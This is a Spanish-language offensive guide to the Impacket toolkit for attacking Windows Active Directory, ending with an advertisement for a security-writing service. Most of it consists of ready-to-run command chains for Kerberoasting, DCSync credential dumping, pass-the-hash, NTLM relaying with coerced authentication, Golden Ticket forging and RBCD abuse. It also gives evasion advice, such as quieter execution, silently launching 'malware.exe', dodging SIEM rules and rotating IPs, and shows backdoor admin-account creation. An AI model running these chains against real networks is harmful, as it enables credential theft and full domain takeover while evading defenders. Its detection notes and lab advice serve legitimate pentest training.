Impacket es la navaja suiza de la explotación de Active Directory. Es una librería Python que reimplementa protocolos de red de Windows — SMB, Kerberos, MSRPC, LDAP y más — completamente desde cero. Esto significa que puedes interactuar con entornos Windows sin necesitar una máquina Windows, sin generar las mismas alertas que las herramientas nativas, y con control quirúrgico sobre cada byte que envías.

Esta guía cubre todo: instalación, desglose completo del toolkit y los escenarios de ataque que importan — Kerberoasting, DCSync, Pass-the-Hash, retransmisión NTLM, Golden Tickets y ejecución remota.

Si haces pentesting de Active Directory, usas Impacket. Así es como se usa bien.

Qué Es Impacket (y Por Qué Importa)

Impacket comenzó como una colección de clases Python para el desarrollo de protocolos de red. Con el tiempo se convirtió en la columna vertebral de casi todas las herramientas de ataque AD serias — SharpHound de BloodHound toma prestado de sus implementaciones de protocolo, CrackMapExec (ahora NetExec) envuelve muchos de sus scripts, y las variantes remotas de Mimikatz replican lo que Impacket hace.

La diferencia: Impacket corre en Linux. No necesitas un punto de apoyo en Windows para comenzar el ataque. Desde una sola máquina Kali con credenciales válidas — o incluso solo una posición en la red — puedes enumerar, explotar y moverte lateralmente por todo un dominio Windows.

Lo que Impacket te da:

  • Operaciones de cliente/servidor SMB
  • Ejecución remota (WMI, DCOM, AT, estilo PsExec)
  • Volcado de credenciales (SAM, LSA, NTDS vía DCSync)
  • Ataques Kerberos (Kerberoasting, AS-REP Roasting, forjado de tickets)
  • Ataques de retransmisión NTLM
  • Creación de Golden y Silver Tickets
  • Enumeración de AD (SIDs, SPNs, delegación, ACLs)
  • Interacción con MSSQL

Instalación

Kali Linux (ya incluido)

Impacket viene preinstalado en Kali. Verifica tu versión:

impacket-secretsdump --version
# o
python3 -c "import impacket; print(impacket.__version__)"

La versión preinstalada puede estar desactualizada. Para la más reciente:

pip3 install impacket --upgrade

Desde el Código Fuente (recomendado para las últimas funciones)

# Clonar el repositorio
git clone https://github.com/fortra/impacket.git
cd impacket

# Instalar en un entorno virtual
python3 -m venv venv
source venv/bin/activate
pip install .

# O instalar globalmente
pip3 install .

Ejecutando Scripts de Impacket

Los scripts están en el directorio examples/ si se instala desde el código fuente. Cuando se instalan vía pip, están disponibles como comandos del sistema impacket-<nombrescript>:

# Instalación global
impacket-secretsdump domain/user:password@target

# Desde el código fuente (directorio examples)
python3 examples/secretsdump.py domain/user:password@target

Esta guía usa el formato con prefijo impacket- en todo momento.

Métodos de Autenticación

La mayoría de las herramientas de Impacket aceptan credenciales en varios formatos:

# Autenticación con contraseña
impacket-tool domain/username:password@target

# Hash NTLM (Pass-the-Hash)
impacket-tool domain/username@target -hashes :NTLMhash

# Hashes NTLM completos (LM:NT)
impacket-tool domain/username@target -hashes LMhash:NTLMhash

# Ticket Kerberos (Pass-the-Ticket)
KRB5CCNAME=/tmp/ticket.ccache impacket-tool domain/username@target -k -no-pass

# Sin credenciales (sesión nula, anónimo)
impacket-tool //target/share -no-pass

El flag -k habilita la autenticación Kerberos. El flag -no-pass omite el prompt de contraseña cuando usas un ticket o hash.

Nota de laboratorio: Todos estos ataques requieren un laboratorio de Active Directory Windows para practicar de forma segura. Un VPS es la forma más limpia de ejecutar un controlador de dominio Windows Server sin poner hardware en tu casa. Vultr y DigitalOcean tienen imágenes de Windows Server — levanta un DC y un servidor miembro por menos de $20/mes, y derriba el entorno cuando termines.

Operaciones SMB

smbclient.py — Shell SMB Interactivo

Un cliente SMB completo para navegar e interactuar con recursos compartidos de Windows:

# Listar recursos compartidos (con credenciales)
impacket-smbclient domain/user:password@target

# Listar recursos compartidos (Pass-the-Hash)
impacket-smbclient domain/user@target -hashes :NTLMhash

# Comandos del shell interactivo
shares          # listar todos los recursos
use C$          # conectar al recurso
ls              # listar directorio
get file.txt    # descargar archivo
put file.txt    # subir archivo
pwd             # directorio actual
cd path         # cambiar directorio

smbserver.py — Servidor SMB Falso

Levanta un servidor SMB local para recibir solicitudes de archivos, capturar hashes o servir payloads:

# Crear recurso SMB llamado 'SHARE' apuntando a /tmp/files
impacket-smbserver SHARE /tmp/files

# Requerir autenticación (fuerza a los clientes a autenticarse y exponer sus hashes)
impacket-smbserver SHARE /tmp/files -smb2support -username user -password pass

# Desde el objetivo Windows, conectarse a tu servidor falso
# net use \\attacker_ip\SHARE
# Esto activa la autenticación NTLM — Responder o ntlmrelayx lo captura

Caso de uso: Combinado con Responder, smbserver.py establece el lado de retransmisión de los ataques de captura de hashes.

lookupsid.py — Enumeración de SIDs

Enumera usuarios y grupos via fuerza bruta de SID por RPC:

# Enumerar usuarios (funciona con sesión nula en DCs más antiguos)
impacket-lookupsid domain/user:password@target

# Anónimo (sesión nula)
impacket-lookupsid anonymous@target

# La salida incluye: SIDs de usuarios, SIDs de grupos, SID del dominio

Es útil para construir una lista de usuarios al inicio de un engagement cuando no tienes acceso LDAP.

Ejecución Remota

psexec.py — Ejecución Estilo PsExec

Autentica via SMB, sube un binario de servicio a ADMIN$, crea un servicio y conecta un shell. Otorga acceso a nivel SYSTEM cuando la cuenta tiene derechos de administrador:

# Con contraseña
impacket-psexec domain/admin:password@target

# Con hash
impacket-psexec domain/admin@target -hashes :NTLMhash

# Ejecutar un solo comando
impacket-psexec domain/admin:password@target cmd.exe /c whoami

# Con ticket Kerberos
KRB5CCNAME=admin.ccache impacket-psexec domain/[email protected] -k -no-pass

Nota de detección: psexec.py es ruidoso — crea un servicio de Windows, escribe en ADMIN$ y genera el Event ID 7045 (Servicio Instalado). Usa wmiexec.py o dcomexec.py para ejecución más silenciosa.

wmiexec.py — Ejecución WMI (Más Silenciosa)

Usa Windows Management Instrumentation para ejecutar comandos. Sin creación de servicios, sin binarios en disco:

# Shell interactivo
impacket-wmiexec domain/admin:password@target

# Pass-the-Hash
impacket-wmiexec domain/admin@target -hashes :NTLMhash

# Comando único
impacket-wmiexec domain/admin:password@target "cmd.exe /c ipconfig"

# Sin salida (completamente silencioso — útil para sigilo)
impacket-wmiexec domain/admin:password@target -nooutput "cmd.exe /c start malware.exe"

Nota de detección: WMI genera Event IDs 4688 (creación de proceso) y eventos relacionados con WMI. Sigue siendo detectable, pero genera muchos menos artefactos que psexec.

atexec.py — Ejecución vía Programador de Tareas

Ejecuta comandos via el Programador de Tareas de Windows (servicio AT):

# Ejecutar un comando
impacket-atexec domain/admin:password@target "cmd.exe /c whoami > C:\output.txt"

# Pass-the-Hash
impacket-atexec domain/admin@target -hashes :NTLMhash "net user hacker P@ssw0rd /add"

Útil para ejecución de comandos puntuales cuando necesitas un pretexto de tarea programada.

dcomexec.py — Ejecución DCOM

Usa objetos Distributed COM para ejecución. Soporta múltiples métodos DCOM:

# Método ShellWindows (predeterminado)
impacket-dcomexec domain/admin:password@target

# Método MMC20.Application
impacket-dcomexec domain/admin:password@target -object MMC20

# ShellBrowserWindow
impacket-dcomexec domain/admin:password@target -object ShellBrowserWindow

La ejecución DCOM es más difícil de detectar que psexec y deja menos artefactos. El flag -object te permite alternar entre métodos si uno está bloqueado.

Volcado de Credenciales

secretsdump.py — La Herramienta Clave

La herramienta de Impacket más usada para extracción de credenciales. Vuelca SAM, secretos LSA, credenciales en caché y NTDS.dit (la base de datos del dominio) vía DCSync o volcado directo de NTDS.

Volcado remoto de SAM (requiere admin local):

# Volcar hashes SAM remotamente
impacket-secretsdump domain/admin:password@target

# Pass-the-Hash
impacket-secretsdump domain/admin@target -hashes :NTLMhash

# Formato de salida: user:rid:LMhash:NThash:::

DCSync (requiere Domain Admin o derechos de replicación):

# Volcar todos los hashes del dominio vía DCSync
impacket-secretsdump domain/admin:password@dc_ip -just-dc

# Volcar solo hashes NTLM (omitir claves Kerberos)
impacket-secretsdump domain/admin:password@dc_ip -just-dc-ntlm

# Volcar el hash de un usuario específico
impacket-secretsdump domain/admin:password@dc_ip -just-dc-user krbtgt

# Usar ticket Kerberos
KRB5CCNAME=admin.ccache impacket-secretsdump domain/[email protected] -k -no-pass -just-dc

DCSync suplanta a un controlador de dominio y solicita datos de replicación de contraseñas. Es la forma más limpia de volcar NTDS.dit sin tocar el sistema de archivos del DC.

Volcado local de NTDS.dit (desde archivo offline):

# Parsear un NTDS.dit + hive SYSTEM extraídos previamente
impacket-secretsdump -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL

Volcado de secretos LSA:

# Incluye contraseñas en texto claro de cuentas de servicio, credenciales de dominio en caché
impacket-secretsdump domain/admin:password@target -lsa

La salida de secretsdump es la base para Pass-the-Hash, Pass-the-Ticket y campañas de cracking.

Ataques Kerberos

GetUserSPNs.py — Kerberoasting

Solicita tickets de servicio Kerberos para cuentas con SPNs registrados. Los tickets están cifrados con el hash de la contraseña de la cuenta de servicio y se pueden crackear offline:

# Listar todas las cuentas Kerberoasteables
impacket-GetUserSPNs domain/user:password -dc-ip dc_ip

# Solicitar tickets (salida en formato Hashcat)
impacket-GetUserSPNs domain/user:password -dc-ip dc_ip -request

# Guardar en archivo para crackear
impacket-GetUserSPNs domain/user:password -dc-ip dc_ip -request -outputfile kerberoast.txt

# Solicitar ticket de un SPN específico
impacket-GetUserSPNs domain/user:password -dc-ip dc_ip -request-user svc_sql

Crackear con Hashcat:

# Modo 13100 = Kerberos TGS-REP (cifrado RC4)
hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt

# Modo 19600 = Kerberos TGS-REP (AES128)
hashcat -m 19600 kerberoast.txt /usr/share/wordlists/rockyou.txt

# Modo 19700 = Kerberos TGS-REP (AES256)
hashcat -m 19700 kerberoast.txt /usr/share/wordlists/rockyou.txt

Qué buscar: Cuentas de servicio con SPNs que tienen contraseñas débiles — svc_sql, svc_backup, svc_iis. Son comunes en entornos empresariales y raramente se rotan.

GetNPUsers.py — AS-REP Roasting

Apunta a cuentas con la preautenticación Kerberos deshabilitada. No se necesitan credenciales para la enumeración (con una lista de usuarios):

# Con credenciales — enumerar cuentas con flag DONT_REQ_PREAUTH
impacket-GetNPUsers domain/ -dc-ip dc_ip -usersfile users.txt -no-pass

# Con credenciales — enumerar vía LDAP
impacket-GetNPUsers domain/user:password -dc-ip dc_ip -request

# Guardar para crackear
impacket-GetNPUsers domain/user:password -dc-ip dc_ip -request -outputfile asrep.txt

# Formatear salida para Hashcat
impacket-GetNPUsers domain/ -dc-ip dc_ip -usersfile users.txt -no-pass -format hashcat

Crackear con Hashcat:

# Modo 18200 = Kerberos AS-REP (RC4)
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt

AS-REP Roasting sin credenciales: Si tienes una lista de usuarios pero no contraseña, envía AS-REQ sin preautenticación para cada usuario. Las cuentas con DONT_REQ_PREAUTH devolverán un AS-REP que puedes crackear.

getTGT.py — Solicitar TGT

Solicita un Ticket-Granting Ticket para un usuario:

# Con contraseña
impacket-getTGT domain/user:password

# Con hash (Pass-the-Hash para obtener ticket Kerberos)
impacket-getTGT domain/user -hashes :NTLMhash

# Con clave AES
impacket-getTGT domain/user -aesKey <aes_key>

# Guarda en user.ccache
export KRB5CCNAME=user.ccache

getST.py — Solicitudes de Tickets de Servicio y Ataques de Delegación

Solicita tickets de servicio y abusa de la delegación Kerberos:

# Solicitar un ticket de servicio
impacket-getST -spn cifs/server.domain.com domain/user:password

# S4U2Self + S4U2Proxy (abuso de delegación restringida)
impacket-getST -spn cifs/server.domain.com -impersonate Administrator domain/svc_account:password

# Delegación restringida basada en recursos (RBCD)
impacket-getST -spn cifs/dc.domain.com -impersonate Administrator domain/attacker_computer$:password

Este es el núcleo de los ataques de delegación Kerberos — cuando una cuenta de servicio tiene derechos de delegación, puedes solicitar tickets para suplantar a cualquier usuario (incluido Domain Admin) contra servicios objetivo.

ticketer.py — Golden y Silver Tickets

Forja tickets Kerberos offline con las claves correctas:

# Golden Ticket (requiere hash de krbtgt)
impacket-ticketer -nthash <krbtgt_NT_hash> -domain-sid <domain_SID> -domain domain.com Administrator

# Golden Ticket con grupos personalizados (agregar a Domain Admins, Enterprise Admins)
impacket-ticketer -nthash <krbtgt_NT_hash> -domain-sid <domain_SID> -domain domain.com -groups 512,519 Administrator

# Silver Ticket (ticket de servicio forjado, requiere hash de cuenta de servicio)
impacket-ticketer -nthash <service_account_NT_hash> -domain-sid <domain_SID> -domain domain.com -spn cifs/dc.domain.com Administrator

# Usar el ticket
export KRB5CCNAME=Administrator.ccache
impacket-wmiexec -k -no-pass domain/[email protected]

Golden vs Silver:

Golden TicketSilver Ticket
RequiereHash de krbtgtHash de cuenta de servicio
Otorga acceso aCualquier servicio del dominioServicio específico únicamente
¿Toca el DC?Sí (intercambio TGS)No (forjado directamente)
Persistencia~10 añosConfigurable

Obtener el hash de krbtgt:

# Vía DCSync
impacket-secretsdump domain/admin:password@dc_ip -just-dc-user krbtgt
# Copiar el hash ::: después del último dos puntos

Ataques de Retransmisión NTLM

ntlmrelayx.py — Retransmisión NTLM

Captura intentos de autenticación NTLM y los retransmite a otros objetivos. Es la base de los ataques de retransmisión SMB, LDAP y pass-the-hash-sin-el-hash.

Retransmisión SMB básica:

# Paso 1: Ejecutar ntlmrelayx para retransmitir al objetivo
impacket-ntlmrelayx -tf targets.txt -smb2support

# Paso 2: Provocar autenticación NTLM desde la víctima (Responder lo maneja)
# Responder en la misma interfaz, SMB desactivado:
# sudo responder -I eth0 --disable-ess --lm

Retransmisión LDAP (volcar información del dominio):

# Retransmitir al DC vía LDAP, volcar info de AD
impacket-ntlmrelayx -t ldap://dc_ip --dump-laps --dump-gmsa

# Retransmitir a LDAP y crear un nuevo administrador de dominio
impacket-ntlmrelayx -t ldap://dc_ip --escalate-user compromised_user

Retransmisión SMB para ejecutar comando:

# Ejecutar un comando en el objetivo de retransmisión
impacket-ntlmrelayx -tf targets.txt -smb2support -c "net user hacker P@ssw0rd! /add && net localgroup administrators hacker /add"

# Shell SMB interactivo en el objetivo
impacket-ntlmrelayx -tf targets.txt -smb2support -i

Retransmisión HTTPS (Exchange/ADCS):

# Retransmitir a la Inscripción Web de ADCS (ataque ESC8)
impacket-ntlmrelayx -t "http://ca.domain.com/certsrv/certfnsh.asp" --adcs --template DomainController

Requisito clave: La firma SMB debe estar deshabilitada en el objetivo. Verificar con:

impacket-runfingerprint domain/user:password@target
# O: nmap --script smb2-security-mode -p 445 target

Enumeración de Active Directory

rpcdump.py — Enumeración de Endpoints RPC

Enumera servicios y endpoints RPC:

# Listar todos los endpoints RPC
impacket-rpcdump target

# Con credenciales
impacket-rpcdump domain/user:password@target

# Buscar servicios interesantes
impacket-rpcdump target | grep -i "spoolss\|epmapper\|winreg"

Por qué importa: La exposición de PrintSpooler (spoolss) habilita la explotación de PrintNightmare y la coerción de delegación sin restricciones.

findDelegation.py — Enumeración de Delegación Kerberos

Encuentra cuentas y computadoras con delegación configurada:

# Encontrar todas las configuraciones de delegación
impacket-findDelegation domain/user:password -dc-ip dc_ip

# La salida muestra: cuenta, tipo de delegación, servicios permitidos
# Tipos: Sin restricciones, Restringida, Restringida Basada en Recursos (RBCD)

La delegación sin restricciones es el premio mayor — cualquier ticket de servicio enviado a una cuenta con delegación sin restricciones expone el TGT. Combínalo con la coerción del bug de impresora para forzar la autenticación de un DC.

reg.py — Operaciones de Registro Remoto

Lee, escribe y elimina claves del registro de forma remota:

# Shell de registro interactivo
impacket-reg domain/admin:password@target query -keyName HKLM\\SYSTEM

# Consultar clave específica
impacket-reg domain/admin:password@target query -keyName "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion" -v ProductName

# Agregar una clave de registro
impacket-reg domain/admin:password@target add -keyName HKLM\\SOFTWARE\\TestKey -v TestValue -vt REG_SZ -vd "test"

# Volcar hive SAM (extracción alternativa de credenciales)
impacket-reg domain/admin:password@target save -keyName HKLM\\SAM -o sam.hive

mssqlclient.py — Interacción con SQL Server

Conecta a Microsoft SQL Server y ejecuta consultas o comandos del sistema operativo:

# Conectar con autenticación SQL
impacket-mssqlclient sa:password@target

# Conectar con autenticación Windows
impacket-mssqlclient domain/admin:password@target -windows-auth

# Conectar con hash
impacket-mssqlclient domain/admin@target -hashes :NTLMhash -windows-auth

# Prompt interactivo — ejecutar comandos
SQL> SELECT @@version
SQL> EXEC xp_cmdshell 'whoami'                    # si xp_cmdshell está habilitado
SQL> EXEC sp_configure 'show advanced options', 1  # habilitar xp_cmdshell
SQL> RECONFIGURE
SQL> EXEC sp_configure 'xp_cmdshell', 1
SQL> RECONFIGURE
SQL> EXEC xp_cmdshell 'net user'

Qué buscar: Las cuentas de servicio de SQL Server frecuentemente tienen privilegios excesivos. La ejecución de xp_cmdshell te da ejecución de comandos del SO como la cuenta de servicio SQL, que a menudo es una cuenta de servicio de dominio.

Abuso de ACLs

dacledit.py — Modificación de DACLs

Lee y modifica Listas de Control de Acceso en objetos de AD:

# Leer ACEs en un objeto de usuario
impacket-dacledit domain/user:password -dc-ip dc_ip -action read -principal target_user

# Leer ACEs en un grupo
impacket-dacledit domain/user:password -dc-ip dc_ip -action read -target-dn "CN=Domain Admins,CN=Users,DC=domain,DC=com"

# Otorgar derechos WriteOwner al usuario controlado
impacket-dacledit domain/admin:password -dc-ip dc_ip -action write -rights WriteMembers -principal controlled_user -target "Domain Admins"

# Otorgar derechos DCSync (ruta de compromiso completo)
impacket-dacledit domain/admin:password -dc-ip dc_ip -action write -rights DCSync -principal controlled_user

Ruta DCSync: Si encuentras un usuario con WriteDACL en el objeto del dominio (visible en BloodHound), usa dacledit.py para otorgar derechos de replicación DS a ese usuario, luego ejecuta secretsdump.py para un DCSync completo.

owneredit.py — Modificación de Propietario

Cambia el propietario de un objeto de AD:

# Cambiar propietario de un grupo
impacket-owneredit domain/admin:password -dc-ip dc_ip -action write -new-owner controlled_user -target "Domain Admins"

# Cambiar el propietario otorga WriteDACL implícitamente, luego usar dacledit.py para agregarte a ti mismo

addcomputer.py — Agregar Cuentas de Computadora

Crea una cuenta de computadora en el dominio (necesario para ataques RBCD):

# Agregar una cuenta de computadora (cualquier usuario autenticado del dominio puede hacerlo por defecto)
impacket-addcomputer domain/user:password -dc-ip dc_ip -computer-name ATTACKER$ -computer-pass ComputerPass123

# MachineAccountQuota permite hasta 10 por defecto (verificar con PowerView o BloodHound)

Cadena de ataque RBCD:

  1. Agregar cuenta de computadora (addcomputer.py)
  2. Establecer atributo RBCD en el objetivo (rbcd.py)
  3. Obtener ticket de servicio como cualquier usuario (getST.py con S4U2Proxy)
  4. Usar el ticket para acceder al servicio objetivo

rbcd.py — Delegación Restringida Basada en Recursos

Configura atributos RBCD en objetos de AD:

# Establecer msDS-AllowedToActOnBehalfOfOtherIdentity en el objetivo
impacket-rbcd domain/user:password -dc-ip dc_ip -action write -delegate-from ATTACKER$ -delegate-to TargetMachine$

# Leer configuración RBCD actual
impacket-rbcd domain/user:password -dc-ip dc_ip -action read -delegate-to TargetMachine$

# Eliminar configuración RBCD (limpieza)
impacket-rbcd domain/user:password -dc-ip dc_ip -action flush -delegate-to TargetMachine$

Cadenas de Ataque Completas

Cadena 1: Kerberoasting a Domain Admin

# 1. Enumerar cuentas Kerberoasteables
impacket-GetUserSPNs domain/user:password -dc-ip dc_ip -request -outputfile kerberoast.txt

# 2. Crackear offline
hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt

# 3. Usar la cuenta de servicio crackeada para volcar credenciales
impacket-secretsdump domain/svc_sql:cracked_pass@dc_ip -just-dc

# 4. Pass-the-Hash como Domain Admin
impacket-wmiexec domain/Administrator@dc_ip -hashes :da_hash

Cadena 2: AS-REP Roast Cuenta de Bajo Privilegio → Escalar

# 1. AS-REP Roast sin credenciales (necesitas lista de usuarios)
impacket-GetNPUsers domain/ -dc-ip dc_ip -usersfile users.txt -no-pass -format hashcat -outputfile asrep.txt

# 2. Crackear
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt

# 3. Reconocimiento con cuenta crackeada (recolección BloodHound, etc.)
# 4. Encontrar ruta de escalación, seguir la cadena

Cadena 3: Retransmisión NTLM a Compromiso de Dominio

# 1. Verificar firma SMB deshabilitada en objetivos
nmap --script smb2-security-mode -p 445 192.168.1.0/24 | grep -B 1 "disabled"

# 2. Poner objetivos en targets.txt
# 3. Iniciar ntlmrelayx
impacket-ntlmrelayx -tf targets.txt -smb2support

# 4. Coercer autenticación (Responder, PetitPotam, PrinterBug)
# PetitPotam:
python3 PetitPotam.py attacker_ip dc_ip

# 5. ntlmrelayx captura y retransmite — vuelca SAM o ejecuta comando

Cadena 4: Ataque RBCD (GenericWrite → SYSTEM)

# Prerequisito: Tienes GenericWrite en un objeto de computadora

# 1. Crear una nueva cuenta de computadora
impacket-addcomputer domain/user:password -dc-ip dc_ip -computer-name ATTACKER$ -computer-pass 'Attacker123!'

# 2. Establecer RBCD para permitir que tu computadora suplante
impacket-rbcd domain/user:password -dc-ip dc_ip -action write -delegate-from ATTACKER$ -delegate-to TargetComputer$

# 3. Obtener TGT para tu cuenta de computadora
impacket-getTGT domain/ATTACKER$:'Attacker123!' -dc-ip dc_ip

# 4. Solicitar ticket de servicio suplantando a Administrator
KRB5CCNAME=ATTACKER\$.ccache impacket-getST -spn cifs/targetcomputer.domain.com -impersonate Administrator domain/ATTACKER$:'Attacker123!' -dc-ip dc_ip -k

# 5. Usar el ticket
KRB5CCNAME=Administrator@[email protected] impacket-wmiexec -k -no-pass domain/[email protected]

Cadena 5: DCSync a Golden Ticket

# 1. DCSync para volcar hash de krbtgt
impacket-secretsdump domain/admin:password@dc_ip -just-dc-user krbtgt

# 2. Obtener SID del dominio
impacket-lookupsid domain/user:password@dc_ip | grep "Domain SID"

# 3. Forjar Golden Ticket
impacket-ticketer -nthash <krbtgt_hash> -domain-sid <domain_SID> -domain domain.com Administrator

# 4. Usar en todas partes
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass domain/Administrator@any_domain_machine
impacket-wmiexec -k -no-pass domain/Administrator@any_domain_machine
impacket-secretsdump -k -no-pass domain/Administrator@any_domain_machine

Notas de Detección y Evasión

Qué buscan los defensores:

  • Event ID 4769 con tipo de cifrado RC4 (indicador de Kerberoasting)
  • Event ID 4768 sin preautenticación (AS-REP Roasting)
  • DCSync: Event ID 4662 (acceso DS-Replication-Get-Changes-All)
  • Ejecución remota: Event ID 7045 (instalación de servicio para psexec), 4688 (creación de proceso)
  • Retransmisión NTLM: 4625 inicio de sesión fallido desde fuentes inesperadas
  • Golden tickets: Event ID 4769 con tiempo de vida de ticket > 10 horas desde fuente no DC

Consideraciones operacionales:

  • Usar claves AES en lugar de RC4 donde sea posible — el Kerberoasting RC4 es cada vez más marcado por las reglas SIEM predeterminadas
  • wmiexec y dcomexec dejan menos artefactos que psexec
  • Los Silver Tickets no tocan el DC — evitan completamente el registro Kerberos para el servicio objetivo
  • Rotar IPs objetivo y tiempos para evitar correlación

Problemas Comunes y Soluciones

KRB_AP_ERR_SKEW (desfase de reloj):

# Sincronizar reloj con el DC
sudo ntpdate dc_ip

KDC_ERR_PREAUTH_REQUIRED: La cuenta tiene preautenticación habilitada. GetNPUsers.py no funcionará — usa GetUserSPNs.py u obtén credenciales primero.

STATUS_LOGON_FAILURE: Contraseña o hash incorrecto. Verifica el formato del hash — Impacket necesita el hash NT, no LM. El formato es LM:NT donde LM puede ser aad3b435b51404eeaad3b435b51404ee (hash LM nulo).

STATUS_ACCOUNT_RESTRICTION: Cuenta restringida de inicio de sesión de red. Prueba Kerberos (-k) en lugar de NTLM.

Conexión rechazada en puerto 445: El firewall del objetivo bloquea SMB. Intenta primero el 135 (RPC) con rpcdump.py para verificar la conectividad.

Conclusión

Impacket es sobre lo que está construido todo el ecosistema de explotación de AD. Ya sea que estés ejecutando ataques de BloodHound, retransmitiendo NTLM, volcando credenciales o forjando tickets Kerberos — Impacket está haciendo el trabajo pesado por debajo.

Las herramientas de esta guía cubren la cadena de ataque completa: desde la enumeración inicial, a través del robo de credenciales y el movimiento lateral, hasta el dominio completo vía DCSync y Golden Tickets.

Herramientas que debes conocer perfectamente:

  • secretsdump.py — extracción de credenciales, siempre
  • GetUserSPNs.py / GetNPUsers.py — Kerberoasting y AS-REP Roasting
  • ntlmrelayx.py — retransmisión NTLM
  • ticketer.py — forjado de tickets para persistencia
  • wmiexec.py — ejecución remota más silenciosa

Practica esto en un laboratorio antes de un engagement. Un DC Windows Server más una estación de trabajo miembro es todo lo que necesitas — Vultr lo hace suficientemente barato para levantar y derribar bajo demanda.


¿Necesitas documentación de seguridad profesional para tu organización? CipherWrite entrega informes de pentest, guías de seguridad y contenido técnico escrito por profesionales en activo.